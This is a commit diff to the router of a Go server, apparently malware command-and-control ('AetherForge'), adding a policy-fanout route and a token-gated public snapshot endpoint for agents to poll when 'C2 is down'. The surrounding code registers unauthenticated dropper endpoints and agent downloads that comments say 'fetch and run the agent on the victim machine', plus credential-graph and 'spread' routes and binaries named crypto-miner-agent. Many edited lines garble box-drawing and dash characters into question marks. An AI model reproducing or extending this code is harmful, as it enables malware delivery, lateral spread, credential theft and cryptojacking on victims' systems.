Add EventBridge policy fan-out for standalone degraded mode.

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.

server/internal/api/router.go

@@ -27,7 +27,7 @@ import (
 )
 
 // authSessionCache avoids running bcrypt on every API request.
-// Key: SHA-256(user+":"+password) hex — value: expiry time.
+// Key: SHA-256(user+":"+password) hex ? value: expiry time.
 // Entries are valid for authCacheTTL after the last successful login.
 // Bcrypt only runs on cache miss or expiry.
 var (
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
 
 func formatLoginBanner(creds map[string]string) string {
 	var b strings.Builder
-	b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
-	b.WriteString("║           AetherForge — Dashboard Login          ║\n")
-	b.WriteString("║                                                  ║\n")
+	b.WriteString("\n????????????????????????????????????????????????????\n")
+	b.WriteString("?           AetherForge ? Dashboard Login          ?\n")
+	b.WriteString("?                                                  ?\n")
 	users := make([]string, 0, len(creds))
 	for user := range creds {
 		users = append(users, user)
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
 	sort.Strings(users)
 	for _, user := range users {
 		pass := creds[user]
-		fmt.Fprintf(&b, "║  Username : %-34s║\n", user)
-		fmt.Fprintf(&b, "║  Password : %-34s║\n", pass)
-		b.WriteString("║                                                  ║\n")
+		fmt.Fprintf(&b, "?  Username : %-34s?\n", user)
+		fmt.Fprintf(&b, "?  Password : %-34s?\n", pass)
+		b.WriteString("?                                                  ?\n")
 	}
-	b.WriteString("║  Also saved in data/login-credentials.json         ║\n")
-	b.WriteString("║  Change passwords in Calibrate → Users.          ║\n")
-	b.WriteString("╚══════════════════════════════════════════════════╝\n")
+	b.WriteString("?  Also saved in data/login-credentials.json         ?\n")
+	b.WriteString("?  Change passwords in Calibrate ? Users.          ?\n")
+	b.WriteString("????????????????????????????????????????????????????\n")
 	return b.String()
 }
 
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
 
 // isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
 // Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
-// must not trigger that — only bare browser navigations without these headers should.
+// must not trigger that ? only bare browser navigations without these headers should.
 func isSPAAuthRequest(r *http.Request) bool {
 	return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
 }
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
 		path := r.URL.Path
 
 		// Health check and one-liner installer endpoints are always open.
-		// NOTE: build download/artifact routes are intentionally NOT in this list —
+		// NOTE: build download/artifact routes are intentionally NOT in this list ?
 		// they require fleet-secret or Basic Auth (see isDownload block below).
 		if path == "/api/v1/health" ||
 			path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
 		// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
 		// in the X-Fleet-Secret header instead of Basic auth. This ensures only
 		// legitimately forged agents can call these endpoints.
-		// A missing or empty fleet secret is always rejected — the server auto-
+		// A missing or empty fleet secret is always rejected ? the server auto-
 		// generates one at startup so this state should never occur in production.
 		if strings.HasPrefix(path, "/api/v1/agent/") {
 			fleetSecretForAgentPathsMu.RLock()
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
 			return
 		}
 
-		// Fast path — skip bcrypt if this credential pair was recently validated.
+		// Fast path ? skip bcrypt if this credential pair was recently validated.
 		// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
 		if !authCacheHit(user, pass) {
 			usersMu.RLock()
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
 				http.Error(w, "Unauthorized", http.StatusUnauthorized)
 				return
 			}
-			// Credential verified — cache it for the next few minutes.
+			// Credential verified ? cache it for the next few minutes.
 			authCacheSet(user, pass)
 		}
 
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		AllowCredentials: false,
 	}))
 
-	// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
+	// REST API ? auth only on /api/v1 (dashboard WS + static SPA stay open)
 	r.Route("/api/v1", func(r chi.Router) {
 		r.Use(basicAuthMiddleware)
 		h := NewHandler(database)
@@ -654,6 +654,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 			r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
 			r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
 			r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
+			r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
+			r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout)
 			r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
 		}
 		if wsHub != nil {
@@ -680,7 +682,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		r.Delete("/blueprints", blueprintHandler.ServeHTTP)
 		r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
 
-		// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
+		// Fleet secret rotation ? generates a new secret, saves config, kicks all agents.
 		// Forged agents with the old secret will be rejected until re-forged.
 		r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
 			if rotateSecretFn == nil {
@@ -734,11 +736,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 			writeJSON(w, map[string]interface{}{"success": true})
 		})
 
-		// Deck backup — authenticated full backup ZIP (config + DB + users)
+		// Deck backup ? authenticated full backup ZIP (config + DB + users)
 		backupH := NewBackupHandler(dataDir, version)
 		r.Get("/backup", backupH.ServeHTTP)
 
-		// Path Tracer — on-demand WireGuard chain sessions
+		// Path Tracer ? on-demand WireGuard chain sessions
 		if pathTracerHandler != nil {
 			r.Post("/pathtrace/start", pathTracerHandler.Start)
 			r.Post("/pathtrace/discover", pathTracerHandler.Discover)
@@ -751,7 +753,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 			r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
 		}
 
-		// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
+		// Agent autonomy REST ? forged Go agents only (X-Fleet-Secret header).
 		// Not exposed in dashboard client.ts; see agent/client and README API auth table.
 		r.Post("/agent/decide", aiHandler.HandleDecide)
 		r.Post("/agent/report", aiHandler.HandleReport)
@@ -768,7 +770,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		}
 		r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
 
-		// Public builds (also bypass auth in middleware — listed here for chi routing)
+		// Public builds (also bypass auth in middleware ? listed here for chi routing)
 		if publicHandler != nil {
 			r.Get("/public/builds", publicHandler.ListBuilds)
 			r.Get("/public/download/{id}", publicHandler.Download)
@@ -777,6 +779,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 			r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
 			r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
 			r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
+			r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot)
 		}
 	})
 
@@ -784,7 +787,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 	r.Get("/ws/agent", wsHub.HandleAgentWS)
 	r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
 
-	// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
+	// One-liner remote install endpoints (unauthenticated ? URL knowledge is the gate)
 	if dropperHandler != nil {
 		r.Get("/get", dropperHandler.ServeGet)
 		r.Get("/install.sh", dropperHandler.ServeSh)
@@ -792,7 +795,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		r.Get("/install.command", dropperHandler.ServeCommand)
 	}
 
-	// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
+	// SUPP Seek agent download endpoints ? serve agent binaries so launcher scripts
 	// dropped by Seek Mode can fetch and run the agent on the victim machine.
 	// Unauthenticated (the drop URL itself is the secret).
 	r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
@@ -897,8 +900,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
 // exe so it works both from the USB bundle and from a compiled dev build.
 //
 // Filename convention (same as what the build pipeline produces):
-//   - windows → crypto-miner-agent.exe
-//   - mac/linux → crypto-miner-agent  (no extension)
+//   - windows ? crypto-miner-agent.exe
+//   - mac/linux ? crypto-miner-agent  (no extension)
 // agentBinarySearchDir returns the directory used to locate bundled agent binaries.
 // Tests may override this to point at a temp tree instead of os.Executable()'s dir.
 var agentBinarySearchDir = func() (string, error) {